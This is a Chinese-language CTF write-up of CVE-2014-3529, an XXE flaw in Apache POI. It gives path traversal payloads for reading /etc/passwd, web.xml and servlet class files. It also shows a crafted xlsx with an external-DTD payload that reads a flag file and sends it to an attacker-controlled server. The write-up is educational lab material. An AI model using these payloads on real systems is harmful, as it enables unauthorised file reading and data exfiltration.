[CVE-2014-3529] Excel XXE

XXE -- 外部实体注入(XML External Entity Injection),为利用 XML 处理器的漏洞的攻击技术。XML 外部实体注入漏洞允许攻击者向应用程序注入恶意内容,并在解析 XML 时触发。

关于 CVE-2014-3529

漏洞点测试

打开环境发现为选择文件上传页面

可以上传

但无法下载 flag,别的文件可以下载 猜测是做了过滤


构造下载为空

泄露内部路径

于是我们构造九个 ../ 来回到根目录, 尝试读取 /etc/passwd

payload: /file_in_java/DownloadServlet?filename=../../../../../../../../../etc/passwd

成功

来尝试读 web.xml

payload: /file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

web.xml文件是用来配置:欢迎页、servlet、filter等的。当你的web工程没用到这些时,你可以不用web.xml文件来配置你的web工程。

成功

根据 web.xml 信息了解到有几个包,来把这些包下载下来
payload:

/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

将下载好的 .classJD-GUI 打开

JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields.

着重关注此段

apache poi 在3.10.1之前存在XXE漏洞

excel 也是类似压缩包,解压后可以发现文件结构大致如下

.
├── [Content_Types].xml
├── _rels
├── docProps
│   ├── app.xml
│   └── core.xml
└── xl
    ├── _rels
    │   └── workbook.xml.rels
    ├── styles.xml
    ├── theme
    │   └── theme1.xml
    ├── workbook.xml
    └── worksheets
        └── sheet1.xml

选择在 [Content_Types].xml 中添加 XXE payload

<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://ip:port/2.dtd">
%ext;
%send;]>

添加 XXE payload[Content_Types].xml 文件结构如图

其中的 ip 记得替换为自己服务器的 ip

<!ENTITY % data SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://ip:port/?q=%data;'>">
%int;

将此段代码放在服务器上,命名为 2.dtd (文件名可以变通),同时执行

python3 -m http.server 80 

使其启动一个 http server

接着上传打包好的 zip ,更改文件名形如 excel-x.xlsx 上传 过几秒在自己的服务器上就可以看到 flag 被传回


注意:如果确认攻击方式无误,可能是压缩管理软件问题,尝试换一个压缩软件

Reference

Apache-Poi-XXE-Analysis

Apache POI <= 4.1.0 XXE 漏洞 (CVE-2019-12415)

特别致谢:凯哥